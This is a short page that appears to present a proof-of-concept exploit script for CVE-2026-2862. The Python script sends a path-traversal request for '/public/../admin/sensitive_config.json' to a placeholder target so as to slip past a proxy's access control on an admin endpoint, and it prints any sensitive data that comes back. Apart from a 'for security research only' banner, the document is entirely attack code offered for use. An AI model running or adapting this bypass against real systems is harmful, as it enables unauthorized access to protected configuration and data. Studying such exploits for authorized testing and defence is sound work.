PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual vulnerable host)
target = "http://target-host.com"

# The vulnerability involves inconsistent interpretation of HTTP requests.
# This PoC attempts to access a restricted endpoint by exploiting path ambiguity.
# Example: The proxy might block /admin, but allow /public/../../admin if not normalized correctly.

payload_path = "/public/../admin/sensitive_config.json"

headers = {
    "User-Agent": "CVE-2026-2862-Scanner",
    "Accept": "application/json"
}

try:
    # Send the malicious request
    response = requests.get(target + payload_path, headers=headers, timeout=10)

    # Check if the request bypassed the proxy and returned sensitive data
    if response.status_code == 200 and "sensitive" in response.text:
        print("[+] Vulnerability confirmed! Sensitive data leaked.")
        print("[+] Response snippet:", response.text[:200])
    else:
        print("[-] Vulnerability not exploited or target patched.")
        print(f"[-] Status Code: {response.status_code}")

except requests.exceptions.RequestException as e:
    print(f"[!] Error connecting to target: {e}")
